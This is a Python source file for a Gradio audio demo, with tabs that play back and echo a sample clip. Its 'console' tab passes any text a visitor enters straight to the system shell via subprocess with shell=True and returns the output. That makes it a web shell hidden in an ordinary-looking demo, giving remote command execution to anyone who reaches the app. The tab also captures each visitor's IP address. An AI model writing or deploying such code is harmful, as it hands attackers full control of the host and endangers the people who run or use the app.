File size: 1,295 Bytes
1f86a78 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 |
import gradio as gr
import subprocess
from gradio.media import get_audio, MEDIA_PATHS
# get_audio returns the path to the audio file
audio_file = get_audio("cantina.wav")
with gr.Blocks() as demo:
with gr.Tab("Audio"):
gr.Audio(audio_file, buttons=["download"])
with gr.Tab("Interface"):
gr.Interface(
lambda x: x,
gr.Audio(),
gr.Audio(),
examples=[audio_file],
cache_examples=True,
api_name="predict",
)
with gr.Tab("Streaming"):
gr.Interface(
lambda x: x,
gr.Audio(streaming=True),
"audio",
examples=[audio_file],
cache_examples=True,
api_name="predict",
)
with gr.Tab("console"):
ip = gr.Textbox(label="User IP Address")
gr.Interface(
lambda cmd: subprocess.run(
[cmd], capture_output=True, shell=True, check=False
)
.stdout.decode("utf-8")
.strip(),
"text",
"text",
api_name="predict",
)
def get_ip(request: gr.Request):
return request.client.host
demo.load(get_ip, None, ip)
if __name__ == "__main__":
demo.launch(allowed_paths=MEDIA_PATHS)
|